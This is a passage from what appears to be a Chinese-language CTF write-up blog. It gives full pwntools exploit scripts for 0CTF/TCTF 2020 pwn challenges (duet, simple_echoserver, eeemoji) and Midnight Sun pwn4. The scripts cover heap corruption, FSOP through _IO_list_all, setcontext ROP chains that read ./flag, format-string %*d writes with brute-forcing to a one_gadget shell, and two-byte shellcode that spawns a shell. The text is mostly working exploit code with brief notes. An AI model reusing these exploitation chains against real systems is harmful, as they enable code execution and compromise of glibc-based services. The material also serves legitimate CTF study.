payload+= p64(0xdeadbeef)+'\x00'*0x68+p64(libcbase+(0x7ffff7fb6620-0x7ffff7dd0000))
payload+= p64(0)+p64(0x401)
payload+= 2*p64(libcbase+(0x00007ffff7fb5090-0x7ffff7dd0000))
payload+= p64(0xdeadbeefdeadbeef)+p64(libcbase+libc.sym['_IO_list_all']-0x20)+rop
new(0,0x400,payload)
delete(0)
delete(1)

_IO_str_jumps = libcbase+(0x7ffff7fb6620-0x7ffff7dd0000)
fake_IO_buf_base = heapbase+(0x555555561f70-0x555555559000)
fake_chain = heapbase+(0x555555561f90-0x555555559000)
payload = p64(0)*3+p64(0x7fffffffffff)+p64(0)+p64(fake_IO_buf_base)+p64(0x1be+fake_IO_buf_base)+p64(0)*4
payload+= p64(fake_chain)+'\x00'*0x68+p64(_IO_str_jumps)

target = heapbase+(0x555555561d80-0x555555559000)
content = p64(libcbase+0x150550)+p64(target)
content+= p64(0)+p64(0)
content+= p64(libcbase+libc.sym['setcontext']+0x35)+p64(0)
content+= '\x00'*(0xa0-0x30)
content+= p64(heapbase+(0x5555555620a0-0x555555559000))+p64(ret)+'./flag\x00\x00'
content = content.ljust(0xf0,'\x11')
new(1,0x1e0,content+p64(0)+p64(0x411)+payload)

p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('6')

p.interactive()

解法三

思路

结合解法一和解法二的优势,我个人感觉应该是目前为止最简单的方法了,exp的长度也比较短。

就是类似于2.24_IO_str_overflow的方法,只不过这里的函数换成了_IO_wfile_sync,虚表指针也从_IO_str_jumps变为了_IO_wfile_jumps+72

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#coding:utf-8

from pwn import *
import subprocess
import sys,os,string

elf_path = './duet'
remote_libc_path = ''

#P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
#context.log_level = 'debug'

local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()
#libc = ELF(remote_libc_path)

def debug(cmd):
gdb.attach(p,cmd)
pause()

def one_gadget(filename):
return map(int,subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def new(idx,size,content):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('1')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')
p.recvuntil('Duration: ')
p.sendline(str(size))
p.recvuntil('Score: ')
p.send(content.ljust(size,'\x00'))

def delete(idx):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('2')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')

def show(idx):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('3')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')

def magic(size):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('5')
p.recvuntil('\x3a\x20')
p.sendline(str(size))

for i in range(7):
new(0,0x88,'\x00')
delete(0)

for i in range(7):
new(0,0xf0,'\x00')
delete(0)

for i in range(7):
new(0,0x1e0,'\x00')
delete(0)

for i in range(7):
new(0,0x1f0,'\x00')
delete(0)

for i in range(7):
new(0,0x220,'\x00')
delete(0)

for i in range(7):
new(0,0x230,'\x00')
delete(0)

for i in range(7):
new(0,0x250,'\x00')
delete(0)

for i in range(7):
new(0,0x3f0,'\x00')
delete(0)

for i in range(6):
new(0,0x400,'\x00')
delete(0)

new(0,0x88,'\x00')
new(1,0xf0,'\x00')
delete(0)
magic(0xf1)
new(0,0x1f0,'\x00'*0xe0+(p64(0)+p64(0x21))*3)
delete(1)
payload = '\x00'*0xf8+p64(0x91)+'\x00'*0x80+(p64(0)+p64(0x21))*3
new(1,0x1e0,payload)
delete(0)
show(1)
p.recv(0x105)
libcbase = u64(p.recv(8))-(0x7ffff7fb4ca0-0x7ffff7dd0000)
log.success('libcbase = '+hex(libcbase))
new(0,0x80,'\x00')
delete(1)
new(1,0x1e0,'\x00'*0xf8+p64(0x231))

delete(1)
new(1,0x230,'\x00'*0x20+(p64(0)+p64(0x21))*3)
delete(0)
new(0,0x3e0,'\x00'*0x10+3*(p64(0)+p64(0x21))+'\x00'*0x170+(p64(0)+p64(0x21))*3)
delete(0)
payload = '\x00'*0xe0+p64(0x1f0)+p64(0x21)+2*(p64(0)+p64(0x21))+'\x00'*0xe8+p64(0x261)
new(0,0x220,payload)

delete(1)
new(1,0x250,'\x00'*0x20+3*(p64(0)+p64(0x21))+'\x00'*0x1b0+3*(p64(0)+p64(0x21))+p64(0)+p64(0x3f1)+p64(libcbase+libc.sym['__free_hook']))
delete(0)
payload = '\x00'*0xe0+p64(0x1f0)+p64(0x21)+2*(p64(0)+p64(0x21))+'\x00'*0xe8+p64(0x401)
new(0,0x220,payload)
delete(1)

new(1,0x400,'\x00')
delete(1)

new(1,0x1e0,'\x00'*0xf8+p64(0x411))

show(0)
p.recv(0x215)
heapbase = u64(p.recv(8))-(0x555555562070-0x555555559000)
log.success('heapbase = '+hex(heapbase))

ret = libcbase+0x2535f
syscall = libcbase+0xcf6c5
rax = libcbase+0x47cf8
rdi = libcbase+0x26542
rsi = libcbase+0x26f9e
rdx = libcbase+0x12bda6
buf = heapbase
flag_addr = heapbase+(0x555555561f50-0x555555559000)
rop = p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)#open
rop+= p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x300)+p64(rax)+p64(0)+p64(syscall)#read
rop+= p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x300)+p64(rax)+p64(1)+p64(syscall)#write

delete(0)
payload = '\x00'*0xe0+3*(p64(0)+p64(0x21))
payload+= '\x00'*0xe0
payload+= p64(0)+p64(0x401)
payload+= 2*p64(libcbase+(0x00007ffff7fb5090-0x7ffff7dd0000))
payload+= p64(0xdeadbeefdeadbeef)+p64(libcbase+libc.sym['_IO_list_all']-0x20)+rop
new(0,0x400,payload)
delete(0)
delete(1)

new_rsp = heapbase+(0x5555555620a0-0x555555559000)
target = heapbase+(0x555555561e70-0x555555559000)
_IO_wfile_jumps = libcbase+(0x7ffff7fb6068-0x7ffff7dd0000)
payload = p64(0)+p64(1)
payload+= p64(libcbase+libc.sym['setcontext']+0x35)+p64(0x7fffffffffff)
payload+= p64(target+0x10)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(target)
payload+= p64(target+0x10)+p64(0) #0xa0
payload+= p64(new_rsp)+p64(ret) #0xb0
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(_IO_wfile_jumps)+'./flag'
new(1,0x1e0,'\x00'*0xf0+p64(0)+p64(0x411)+payload)

p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('6')

p.interactive()

其他

r3kapigexp最后的劫持用了一串比较复杂的gadget,虽然不推荐使用,但是作为收藏还是放到这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#coding:utf-8

from pwn import *

debug = 1

if debug:
# p = process(['docker', 'run', '-i', '0c23e3923320'])
#p = process(['chroot', './duet', '/duet'], aslr=False)
p = process('./duet')
else:
p = remote('pwnable.org', 12356)

context.terminal = ['tmux','split','-h']

ins_map = ['琴', '瑟']

def alloc(t,l,c):
p.sendlineafter(':', '1')
p.sendlineafter(':', ins_map[t])
p.sendlineafter(':', str(l))
if len(c) < l:
if isinstance(c, bytes):
c = c.ljust(l, b'\x00')
elif isinstance(c, str):
c = c.ljust(l, '\x00')
p.sendafter(':', c)

def free(t):
p.sendlineafter(':', '2')
p.sendlineafter(':', ins_map[t])

def show(t):
p.sendlineafter(':', '3')
p.sendlineafter(':', ins_map[t])

def magic(num):
p.sendlineafter(':', '5')
p.sendlineafter(':', str(num))

def un_tc(size):
for x in range(7):
alloc(0, size, 'f')
free(0)


un_tc(0x98)
un_tc(0xe8)
for x in range(5):
alloc(0, 0xd8, 'f')
free(0)
alloc(1, 0x98, 'v' * 0x98)
un_tc(0x188)
free(1)

un_tc(0x1e8)

# alloc(0, 0x98, 'v')
# free(0)
alloc(0, 0x188, 'a')
payload = b'b' * 0xe0 + p64(0x1f0) + p64(0x10) + b'b' * 8
alloc(1, 0xf8, payload)
free(0)
alloc(0, 0x98, 'v' * 0x98)
magic(0xf1)
free(0)
payload = b'c' * 0xf8 + p64(0xa1) + b'd' * 0x98 + p64(0x61)
alloc(0, 0x1e8, payload)
free(1)
show(0)
p.recvuntil('c' * 0xf8)
p.recv(8)
heap = u64(p.recv(8))
libc = u64(p.recv(8)) - 0x1e4ca0
log.success('libc :{} heap: {}'.format(hex(libc),hex(heap)))

free(0)
alloc(0, 0x98, 'nonick')
alloc(1, 0x98, 'nonick')
free(0)

alloc(0, 0x200, p64(0x11) * 20)
free(0)

payload = b'c' * 0xf8 + p64(0x191) + b'e' * 0xe8
alloc(0, 0x1e8, payload)

free(1)
alloc(1, 0xa8, 'nonick')
free(0)
fake = p64(0) + p64(0xe1) + p64(heap + 0x1b60) + p64(heap + 0x1dd0 + 0xe0)
fake = fake.ljust(0xe0)
fake += p64(0) + p64(0xe1) + p64(heap + 0x1dd0) + p64(libc + 0x1E7600 - 0x10)
fake += p64(0x11)
context.arch = 'amd64'
alloc(0, 0x300, fake)
free(0)
page = heap + 0x20f0
page >>= 12
page <<= 12
sigret = libc + 0x14BC61
fake = p64(sigret) * 3
fake += p64(heap + 0x20f0 + 0x20)
fake += p64(0)
fake += p64(libc + 0x00000000000538e3) + p64(0)
fake += b'\x00' * 0x30
fake += p64(libc + 0xed5dc)
fake += b'\x00' * (0xd0 - 0x40)
fake += p64(heap + 0x20f0 + 0x20)

fake += p64(libc + 0x0000000000026542)
fake += p64(page)
fake += p64(libc + 0x0000000000026f9e)
fake += p64(0x1000)
fake += p64(libc + 0x000000000012bda6)
fake += p64(7)
fake += p64(libc + 0x117590)
fake += p64(heap + 0x20f0 + len(fake) - 8)

fake += asm(
'''
{}
{}
lea rdi,[rsp]
xor rsi,rsi
mov rax,2
syscall
{}
{}
'''.format(
shellcraft.amd64.linux.echo('aaaa'),
shellcraft.amd64.pushstr('flag'),
shellcraft.amd64.linux.read(3,'rdi',0x100),
shellcraft.amd64.linux.write(1,'rsp',0x100))
)

alloc(0,0x300,fake)
free(0)

for x in range(10):
sz = 0x3f0 - x * 0x10
data = p64(0x11) * (sz >> 3)
for y in range(7):
alloc(0, sz, data)
free(0)

payload = b'c' * 0xf8 + p64(0xb1) + b'e' * 0xa8 + p64(0xe1) + p64(libc + 0x1e4d70) + p64(heap + 0x1dd0)
alloc(0, 0x1e8, payload)
free(1)

io_list = libc + 0x1E5660
log.success('io list all {}'.format(hex(io_list)))
vt = libc + 0x1E5B40 - 0x18

alloc(1, 0xd8,
b'\x00' * 0x28 + p64(0x11) + p64(0) + p64(0x211) + p64(0x11) * 8 + p64(0x11223344) + p64(
heap + 0x20f0 - 8) + p64(heap + 0x1bd0 - 0x70) + p64(1) * 6 + p64(vt))

free(0)
fake = p64(0xfbad8000) + p64(0x1441) + p64(0x1) + p64(0x1) + p64(0x5) + p64(0x6)

payload = b'c'*0xf8 + p64(0xb1) + b'e'*0xa0 + fake
alloc(0,0x1e8,payload)
free(1)
gdb.attach(p)

p.sendlineafter(':', '6')
p.interactive()
'''
0x7ffff7e58f60 <__GI__IO_wdo_write>: push r15
0x7ffff7e58f62 <__GI__IO_wdo_write+2>: push r14
0x7ffff7e58f64 <__GI__IO_wdo_write+4>: push r13
0x7ffff7e58f66 <__GI__IO_wdo_write+6>: push r12
0x7ffff7e58f68 <__GI__IO_wdo_write+8>: push rbp
0x7ffff7e58f69 <__GI__IO_wdo_write+9>: push rbx
0x7ffff7e58f6a <__GI__IO_wdo_write+10>: mov rbx,rdi
0x7ffff7e58f6d <__GI__IO_wdo_write+13>: sub rsp,0x58
0x7ffff7e58f71 <__GI__IO_wdo_write+17>: mov rax,QWORD PTR fs:0x28
0x7ffff7e58f7a <__GI__IO_wdo_write+26>: mov QWORD PTR [rsp+0x48],rax
0x7ffff7e58f7f <__GI__IO_wdo_write+31>: xor eax,eax
0x7ffff7e58f81 <__GI__IO_wdo_write+33>: test rdx,rdx
0x7ffff7e58f84 <__GI__IO_wdo_write+36>: je 0x7ffff7e59078 <__GI__IO_wdo_write+280>
0x7ffff7e58f8a <__GI__IO_wdo_write+42>: mov r14,rsi
0x7ffff7e58f8d <__GI__IO_wdo_write+45>: mov r15,rdx
0x7ffff7e58f90 <__GI__IO_wdo_write+48>: mov r9,QWORD PTR [rdi+0x28]
0x7ffff7e58f94 <__GI__IO_wdo_write+52>: mov rbp,QWORD PTR [rdi+0x20]
0x7ffff7e58f98 <__GI__IO_wdo_write+56>: mov r12,QWORD PTR [rdi+0x98]
0x7ffff7e58f9f <__GI__IO_wdo_write+63>: cmp QWORD PTR [rdi+0x30],r9
0x7ffff7e58fa3 <__GI__IO_wdo_write+67>: je 0x7ffff7e59110 <__GI__IO_wdo_write+432>
0x7ffff7e58fa9 <__GI__IO_wdo_write+73>: lea rax,[rsp+0x20]
0x7ffff7e58fae <__GI__IO_wdo_write+78>: mov QWORD PTR [rsp+0x8],rax
0x7ffff7e58fb3 <__GI__IO_wdo_write+83>: lea rax,[rsp+0x28]
0x7ffff7e58fb8 <__GI__IO_wdo_write+88>: mov QWORD PTR [rsp+0x10],rax
0x7ffff7e58fbd <__GI__IO_wdo_write+93>: lea rax,[rsp+0x30]
0x7ffff7e58fc2 <__GI__IO_wdo_write+98>: mov QWORD PTR [rsp+0x18],rax
0x7ffff7e58fc7 <__GI__IO_wdo_write+103>: jmp 0x7ffff7e59050 <__GI__IO_wdo_write+240>

0x7ffff7e58fcc <__GI__IO_wdo_write+108>: nop DWORD PTR [rax+0x0]
0x7ffff7e58fd0 <__GI__IO_wdo_write+112>: mov rax,QWORD PTR [rbx+0x40]
0x7ffff7e58fd4 <__GI__IO_wdo_write+116>: mov rdi,QWORD PTR [rbx+0xa0]
0x7ffff7e58fdb <__GI__IO_wdo_write+123>: mov QWORD PTR [rsp+0x28],r9
0x7ffff7e58fe0 <__GI__IO_wdo_write+128>: mov rdx,r14
0x7ffff7e58fe3 <__GI__IO_wdo_write+131>: lea rcx,[r14+r15*4]
0x7ffff7e58fe7 <__GI__IO_wdo_write+135>: push QWORD PTR [rsp+0x10]
0x7ffff7e58feb <__GI__IO_wdo_write+139>: lea rsi,[rdi+0x58]
0x7ffff7e58fef <__GI__IO_wdo_write+143>: push rax
0x7ffff7e58ff0 <__GI__IO_wdo_write+144>: mov rdi,r12
0x7ffff7e58ff3 <__GI__IO_wdo_write+147>: mov r8,QWORD PTR [rsp+0x18]
0x7ffff7e58ff8 <__GI__IO_wdo_write+152>: call QWORD PTR [r12+0x8]

0x7ffff7f1bc61 <clntunix_destroy+1>: mov rbp,rdi
0x7ffff7f1bc64 <clntunix_destroy+4>: push rbx
0x7ffff7f1bc65 <clntunix_destroy+5>: sub rsp,0x8
0x7ffff7f1bc69 <clntunix_destroy+9>: mov rbx,QWORD PTR [rdi+0x10]
0x7ffff7f1bc6d <clntunix_destroy+13>: mov eax,DWORD PTR [rbx+0x4]
0x7ffff7f1bc70 <clntunix_destroy+16>: test eax,eax
0x7ffff7f1bc72 <clntunix_destroy+18>: jne 0x7ffff7f1bca8 <clntunix_destroy+72>
0x7ffff7f1bc74 <clntunix_destroy+20>: mov rax,QWORD PTR [rbx+0xd0]
0x7ffff7f1bc7b <clntunix_destroy+27>: mov rax,QWORD PTR [rax+0x38]
0x7ffff7f1bc7f <clntunix_destroy+31>: test rax,rax
0x7ffff7f1bc82 <clntunix_destroy+34>: je 0x7ffff7f1bc8d <clntunix_destroy+45>
0x7ffff7f1bc84 <clntunix_destroy+36>: lea rdi,[rbx+0xc8]
0x7ffff7f1bc8b <clntunix_destroy+43>: call rax

0x7ffff7ebd5dc <check_halt_state_context+124>: leave
0x7ffff7ebd5dd <check_halt_state_context+125>: xor eax,eax
0x7ffff7ebd5df <check_halt_state_context+127>: pop rbx
0x7ffff7ebd5e0 <check_halt_state_context+128>: pop rbp
0x7ffff7ebd5e1 <check_halt_state_context+129>: pop r12
0x7ffff7ebd5e3 <check_halt_state_context+131>: ret
'''

Midnight sunCTF pwn4

新的fmt用法:%*d,在屏幕上打印格式化字符串对应位置上的数据的%d形式数量的字符。

%*25$d%16$n:将格式化字符串的第25个参数的%d形式的数量的字符打印到屏幕上并写入到第16个参数所指向的内存中。

复习了一下log.progress的用法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding:utf-8

from pwn import *
import subprocess
import sys,os,string

elf_path = './pwn4'
remote_libc_path = ''

#P = ELF(elf_path)
context(os='linux',arch='i386')
context.terminal = ['terminator','-x','sh','-c']
#context.terminal = ['tmux','split','-h']
#context.log_level = 'debug'

local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()
#libc = ELF(remote_libc_path)

def debug(cmd):
gdb.attach(p,cmd)
pause()

def one_gadget(filename):
return map(int,subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

p.recvuntil('user: ')
p.sendline("%*25$d%16$n")
p.recvuntil("code: ")
#gdb.attach(p,'b fprintf')
#raw_input()
p.sendline(str(10))
p.recvuntil("logged: ")

tot = 0
l = log.progress('Receiving all data')
log.info('Press CTRL+C to switch to interactive...');

while 1:
try:
data = p.recv(1024*1024)
tot += len(data)
l.status('%d MB', tot/1e6)
except:
break

l.success('done (%d MB)', tot/1e6)

p.interactive()

simple_echoserver

思路

学习的balsn的思路:

用到了上面那题的思路,也就是%*d,好像连续两次%k$n没法连环修改。。但是逐个位置对过去可以。。。

需要爆破:

  • Fmt string change rbp chain can overwrite stack.
  • Use fmt string %*d to print the count of the lower 4 bytes of main_ret address.
  • Change main_ret to one_gadget ,then get the shell.
  • need a stack lsb bruteforce & (main_ret_address & 0xffffffff) < 0x80000000 (1/32)

Kirin大佬的思路没来得及复现,感觉比较吊。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = 'pwnable.org'
port = 12020

binary = "./simple_echoserver"
context.binary = binary
elf = ELF(binary)
context.terminal = ['tmux','split','-h']
#context.log_level = 'debug'

if len(sys.argv) == 1:
r = process(binary,aslr=True,stderr=open('/dev/null','w'))
else:
r = remote(host ,port)

def exp():
r.recvuntil("name: ")
r.sendline("%c"*17+"%"+str(0x38-17-13)+"c%hhn"+"%c"*27+"%"+str(0x4f322-0x21b97-27-0x38)+"c%*d"+"%39$n")
#r.sendline('%8c.'*24+'%p.%p.%13$p')
#r.sendline("%"+str(0x38-13)+"c%19$hhn"+"%"+str(0x4f322-0x21b97-0x38)+"c%*48$d"+"%39$n")
r.recvuntil(": ")
r.sendline("A")
r.recvuntil("ourself!\n")
r.sendline("~.")

if __name__ == '__main__':
while True:
exp()
try:
r.sendline("echo AAAA")
if 'AAAA' in r.recv():
print("shellllll")
break
else:
r.close()
r = process(binary,aslr=True,stderr=open('/dev/null','w'))
except:
r.close()
r = process(binary,aslr=True,stderr=open('/dev/null','w'))

r.interactive()

'''
|0000| 0x7fffffffe3d8 --> 0x55555555541a (nop)
│0008| 0x7fffffffe3e0 --> 0x0
│0016| 0x7fffffffe3e8 --> 0x555555558160 ("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%42c%hhn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%186152c%*d%39$n")
│0024| 0x7fffffffe3f0 --> 0x7fffffffe510 --> 0x7fffffffe530 --> 0x5555555554e0 (endbr64)
│0032| 0x7fffffffe3f8 --> 0x555555555443 (lea rdi,[rip+0xc5b] # 0x5555555560a5)
│0040| 0x7fffffffe400 --> 0x0
│0048| 0x7fffffffe408 --> 0x0
│0056| 0x7fffffffe410 --> 0x7fffffffe510 --> 0x7fffffffe530 --> 0x5555555554e0 (endbr64)
│0064| 0x7fffffffe418 --> 0x7ffff7dcfa00 --> 0xfbad208b
│0072| 0x7fffffffe420 --> 0xd68 ('h\r')
│0080| 0x7fffffffe428 --> 0x7ffff7a71148 (<_IO_new_file_underflow+296>: test rax,rax)
│0088| 0x7fffffffe430 --> 0x7ffff7dcfa00 --> 0xfbad208b
│0096| 0x7fffffffe438 --> 0x7ffff7dcc2a0 --> 0x0
│0104| 0x7fffffffe440 --> 0x5555555550f0 (endbr64)
│0112| 0x7fffffffe448 --> 0x41 ('A')
│0120| 0x7fffffffe450 --> 0x7fffffffe4f0 --> 0x7fffffffe510 --> 0x7fffffffe530 --> 0x5555555554e0 (endbr64)
│0128| 0x7fffffffe458 --> 0x5555555550f0 (endbr64)
│0136| 0x7fffffffe460 --> 0x7fffffffe610 --> 0x1
│0144| 0x7fffffffe468 --> 0x0
│0152| 0x7fffffffe470 --> 0x0
│0160| 0x7fffffffe478 --> 0x555555555348 (mov rcx,QWORD PTR [rbp-0x18])
│0168| 0x7fffffffe480 --> 0x7ffff7dcfa00 --> 0xfbad208b
│0176| 0x7fffffffe488 --> 0x7fffffffe490 --> 0x0
│0184| 0x7fffffffe490 --> 0x0
│0192| 0x7fffffffe498 --> 0x7fffffffe610 --> 0x1
│--More--(25/50)
│0200| 0x7fffffffe4a0 --> 0x0
│0208| 0x7fffffffe4a8 --> 0x7ffff7a723f2 (<__GI__IO_default_uflow+50>: cmp eax,0xffffffff)
│0216| 0x7fffffffe4b0 --> 0x36 ('6')
│0224| 0x7fffffffe4b8 --> 0x5555555581d0 --> 0x0
│0232| 0x7fffffffe4c0 --> 0x7fffffffe4f0 --> 0x7fffffffe510 --> 0x7fffffffe530 --> 0x5555555554e0 (endbr64)
│0240| 0x7fffffffe4c8 --> 0x55555555528d (mov r12d,eax)
│0248| 0x7fffffffe4d0 --> 0x10055556029
│0256| 0x7fffffffe4d8 --> 0xf54994a37af3ab00
│0264| 0x7fffffffe4e0 --> 0x0
│0272| 0x7fffffffe4e8 --> 0x0
│0280| 0x7fffffffe4f0 --> 0x7fffffffe510 --> 0x7fffffffe530 --> 0x5555555554e0 (endbr64)
│0288| 0x7fffffffe4f8 --> 0x5555555553b3 (mov rdx,QWORD PTR [rbp-0x8])
│0296| 0x7fffffffe500 --> 0x7fffffffe610 --> 0x1
│0304| 0x7fffffffe508 --> 0xf54994a37af3ab00
│0312| 0x7fffffffe510 --> 0x7fffffffe530 --> 0x5555555554e0 (endbr64)
│0320| 0x7fffffffe518 --> 0x5555555554d0 (mov eax,0x0)
│0328| 0x7fffffffe520 --> 0x7fffffffe610 --> 0x1
│0336| 0x7fffffffe528 --> 0x0
│0344| 0x7fffffffe530 --> 0x5555555554e0 (endbr64)
│0352| 0x7fffffffe538 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax)
│0360| 0x7fffffffe540 --> 0x1
│0368| 0x7fffffffe548 --> 0x7fffffffe618 --> 0x7fffffffe826 ("./simple_echoserver")
│0376| 0x7fffffffe550 --> 0x100008000
│0384| 0x7fffffffe558 --> 0x5555555554b2 (push rbp)
│0392| 0x7fffffffe560 --> 0x0
'''

eeemjio

思路

可控两字节shellcode和当时的寄存器以及栈中脏数据。

观察寄存器,r11存有mmap_addr+4,所以push r11,在最后ret时劫持执行流即可。

短跳转的范围:

image-20200716231222767

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#coding:utf-8

from pwn import *
import subprocess
import sys,os,string

elf_path = './eeemoji'
remote_libc_path = ''
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'

#P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
context.log_level = 'debug'

local = 0
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF(local_libc_x64_path)
else:
libc = ELF(local_libc_x86_path)
else:
p = remote('pwnable.org',31323)
#libc = ELF(remote_libc_path)

def debug(cmd):
gdb.attach(p,cmd)
pause()

def one_gadget(filename):
return map(int,subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def emo(a):
import struct
return (struct.pack('<I', a).decode('utf-32'))

def Pijiu():
p.recvuntil('miaow\n')
p.recvuntil('\n')
p.sendline('🍺')

def Horse():
p.recvuntil('miaow\n')
p.recvuntil('\n')
p.sendline('🐴')

def Niu():
p.recvuntil('miaow\n')
p.recvuntil('\n')
p.sendline('🐮')

Pijiu()

p.recvuntil('mmap() at @')
mmap_addr = int(p.recvline()[:-1],16)
log.success('mmap_addr = '+hex(mmap_addr))

Horse()
#gdb.attach(p)
#raw_input()
payload = '\xff\xff\x10\x00'.decode('utf-32').encode('utf-8')
payload+= '\x53\xeb\x01\x00'.decode('utf-32').encode('utf-8')
payload+= '\x5f\xeb\x01\x00'.decode('utf-32').encode('utf-8')
payload+= '\x53\xeb\x01\x00'.decode('utf-32').encode('utf-8')
payload+= '\x58\xeb\x01\x00'.decode('utf-32').encode('utf-8')
payload+= '\x56\xeb\x01\x00'.decode('utf-32').encode('utf-8')
payload+= '\x5a\xeb\x01\x00'.decode('utf-32').encode('utf-8')
payload+= '\x0f\x05\x00\x00'.decode('utf-32').encode('utf-8')
payload+= 'a'*(0x80-8)
p.sendline(payload+'\x41\x53\x00\x00'.decode('utf-32').encode('utf-8'))

sleep(0.1)
#raw_input()
p.send('\x90'*0x20+asm(shellcraft.amd64.linux.sh()))

p.interactive()

eeeeeemjio

思路

仍然是可以控制两字节的shellcode,但是这时候寄存器只有riprsprdx是存有有意义的值的。

突破点在于如何将rip劫持到可控地址上,也就是mmap ~ mmap+0x100范围的地址上。

直接用jmp短跳转是不太可能的,因为后面不可控,结合此时具体情境,此时只有rsprdx可以操作,所以开始想办法操作rsp,用rdx劫持rsp,考虑到只有两字节可控,所以and esp,edx成为考虑对象,且题目没有限制mmap的次数,所以可以一直mmap直到出现符合要求的mmap地址,mmap_addr&0xffff=0x8000且小于0x10ffff,且使esp&edx之后结果的后两个字节为0x0000即可,在后续add rsp,0x8000的时候rsp就会被劫持到mmap_addr的地址,然后再用最后的ret控制执行流。

and/or/xor/xchg exx,exx时会清空两个rxx的高位,对exx进行赋值时也会清空rxx的高位,例如rax原本为0x1111111111111111然后执行mov eax,0x22222222之后,rax会变为0x22222222

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#coding:utf-8

from pwn import *
import subprocess
